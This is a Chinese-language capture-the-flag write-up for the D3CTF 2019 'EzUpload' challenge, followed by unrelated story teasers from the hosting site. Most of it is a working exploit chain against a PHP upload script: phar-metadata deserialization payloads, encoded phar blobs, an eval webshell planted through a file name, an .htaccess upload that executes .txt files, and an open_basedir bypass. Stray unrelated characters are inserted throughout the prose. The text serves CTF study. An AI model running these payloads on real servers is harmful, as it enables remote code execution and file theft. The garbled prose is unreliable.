[D3CTF 2019]EzUpload

[D3CTF 2019]EzUpload

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

兩個(gè)文件寫入點(diǎn)祖今,一個(gè)文件讀取點(diǎn)棚潦。upload里的的文件寫入可以寫入upload/{md5(ip)}/目錄绕沈,析構(gòu)函數(shù)里的文件寫入可以寫任意目錄(需要權(quán)限)拴签。但是析構(gòu)函數(shù)里的工作目錄會(huì)變到網(wǎng)站根目錄(ServerRoot不是DocumentRoot)运挫,這個(gè)web服務(wù)的DocumentRoot在/var/www/html/*/下,這個(gè)*是一個(gè)隨機(jī)生成的字符串亲配,并且10分鐘換一次(原題中有hints提示)尘应。__toString()函數(shù)可以讀取目錄,并且這個(gè)函數(shù)可以在析構(gòu)函數(shù)里的字符串拼接處出觸發(fā)吼虎,這個(gè)函數(shù)可以用來獲取上面說到的隨機(jī)生成的目錄名犬钢。拿到目錄名后就可以利用析構(gòu)函數(shù)里的文件寫入進(jìn)行任意文件寫入了。

有了反序列化思路之后就要找反序列化點(diǎn)了思灰,題目代碼中并沒有明確的反序列化函數(shù)調(diào)用玷犹,但是存在文件讀取函數(shù),可以利用phar協(xié)議進(jìn)行反序列化洒疚。

phar文件內(nèi)容大致分為四個(gè)部分

  • stub

    這是一個(gè)標(biāo)志位用來標(biāo)示一個(gè)phar文件歹颓,格式為

    * __HALT_COMPILER();?>或* __HALT_COMPILER();。前面的*可以是任意字符油湖,比如可以GIF89a來繞過部分過濾巍扛。php通過這個(gè)標(biāo)志來識(shí)別phar文件(不依賴文件后綴)。

  • manifest

    這里儲(chǔ)存的是phar文件的信息乏德,其中有一個(gè)以序列化字符串存放的可以自定義的meta-data部分撤奸,在解析phar會(huì)進(jìn)行反序列化。

  • contents

    文件內(nèi)容

  • signature

    簽名喊括,和hash phar.require_hash配置有關(guān)

php提供了一個(gè)phar類來進(jìn)行phar文件操作胧瓜,構(gòu)造以下payload

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
 
   $phar = new Phar("phar.phar"); //后綴名必須為phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='../';
   $o->userdir=$a;
   $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動(dòng)計(jì)算
    $phar->stopBuffering();
?>

執(zhí)行這個(gè)文件會(huì)生成一個(gè)phar.phar文件,計(jì)算該文件的base64值為

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

提交請(qǐng)求為

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

再提交請(qǐng)求為

action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt

可以在回顯中看到目錄名郑什。這里利用../讀取了/var/www/html/的內(nèi)容府喳,但是再往上就讀不到了因?yàn)閛pen_basedir的限制。

知道的目錄名后就可以用絕對(duì)路徑來進(jìn)行任意文件寫入了蘑拯,析構(gòu)函數(shù)中將$string變量寫入一個(gè)文件劫拢,$string變量由兩個(gè)字符串拼接肉津,其中$userdir變量可以觸發(fā)__toString()函數(shù),__toString()函數(shù)又可以讀取/var/www/html/目錄和子目錄內(nèi)容舱沧,而upload/{md5(IP)}/目錄又可以通過upload()函數(shù)進(jìn)行文件寫入,并且對(duì)文件名的限制很小偶洋。這條攻擊鏈就很清晰了

首先提交一個(gè)請(qǐng)求

action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=

這個(gè)請(qǐng)求生成了一個(gè)名為<?php eval($_GET['cmd']); ?>.txt的文件熟吏,再構(gòu)造payload

<?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
   $phar = new Phar("phar.phar"); //后綴名必須為phar
   $phar->startBuffering();
   $phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
   $o = new dir();
   $a = new dir();
   $a->userdir='upload/{md5(IP)}/';
   $o -> filename= '/var/www/html/{directory_name}/upload/{md5(IP)}/webshell';
   $o->userdir=$a;
   $phar->setMetadata($o); //將自定義的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動(dòng)計(jì)算
   $phar->stopBuffering();
?>

計(jì)算生成的phar.phar文件base64值

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==

提交請(qǐng)求

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==

再提交請(qǐng)求

action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt

在upload/{md5(IP)}/目錄下會(huì)生成一個(gè)webshell.txt文件,其中有部分內(nèi)容為<?php eval($_GET['cmd']); ?>

再上傳一個(gè).htaccess文件將txt解析為php即可玄窝,提交請(qǐng)求

action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

再訪問webshell.txt并提交cmd參數(shù)即可執(zhí)行任意代碼牵寺,但是還存在open_basdir的限制,提交參數(shù)cmd為

ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

可以看到在根目錄存在一個(gè)F1aG_1s_H4r4文件恩脂,提交參數(shù)為

ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));

即可獲取flag帽氓。

還有其他解法如

<?php

class dir{
    public $userdir;
    public $url;
    public $filename;

    public function __construct(){
        $this->userdir = '<?php eval($_GET[cmd]);?>';
        $this->filename = "/var/www/html/216cbd05fb1918ba/upload/4f105b2c0ec2da14aae9b130ee13f8e9/somnus";
        $this->url = "1";
    }
}

$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //設(shè)置stub,增加gif文件頭用以欺騙檢測(cè)
$phar->setMetadata($d); //將自定義meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要壓縮的文件
$phar->stopBuffering();

?>
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末俩块,一起剝皮案震驚了整個(gè)濱河市黎休,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌玉凯,老刑警劉巖势腮,帶你破解...
    沈念sama閱讀 217,826評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異漫仆,居然都是意外死亡捎拯,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,968評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門盲厌,熙熙樓的掌柜王于貴愁眉苦臉地迎上來署照,“玉大人,你說我怎么就攤上這事吗浩〗ㄜ剑” “怎么了?”我有些...
    開封第一講書人閱讀 164,234評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵拓萌,是天一觀的道長岁钓。 經(jīng)常有香客問我,道長微王,這世上最難降的妖魔是什么屡限? 我笑而不...
    開封第一講書人閱讀 58,562評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮炕倘,結(jié)果婚禮上钧大,老公的妹妹穿的比我還像新娘。我一直安慰自己罩旋,他們只是感情好啊央,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,611評(píng)論 6 392
  • 文/花漫 我一把揭開白布眶诈。 她就那樣靜靜地躺著,像睡著了一般瓜饥。 火紅的嫁衣襯著肌膚如雪逝撬。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,482評(píng)論 1 302
  • 那天乓土,我揣著相機(jī)與錄音宪潮,去河邊找鬼。 笑死趣苏,一個(gè)胖子當(dāng)著我的面吹牛狡相,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播食磕,決...
    沈念sama閱讀 40,271評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼尽棕,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了彬伦?” 一聲冷哼從身側(cè)響起滔悉,我...
    開封第一講書人閱讀 39,166評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎媚朦,沒想到半個(gè)月后氧敢,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,608評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡询张,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,814評(píng)論 3 336
  • 正文 我和宋清朗相戀三年孙乖,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片份氧。...
    茶點(diǎn)故事閱讀 39,926評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡唯袄,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出蜗帜,到底是詐尸還是另有隱情恋拷,我是刑警寧澤,帶...
    沈念sama閱讀 35,644評(píng)論 5 346
  • 正文 年R本政府宣布厅缺,位于F島的核電站蔬顾,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏湘捎。R本人自食惡果不足惜诀豁,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,249評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望窥妇。 院中可真熱鬧舷胜,春花似錦、人聲如沸活翩。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,866評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至沮焕,卻和暖如春吨岭,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背峦树。 一陣腳步聲響...
    開封第一講書人閱讀 32,991評(píng)論 1 269
  • 我被黑心中介騙來泰國打工未妹, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人空入。 一個(gè)月前我還...
    沈念sama閱讀 48,063評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像族檬,于是被迫代替她去往敵國和親歪赢。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,871評(píng)論 2 354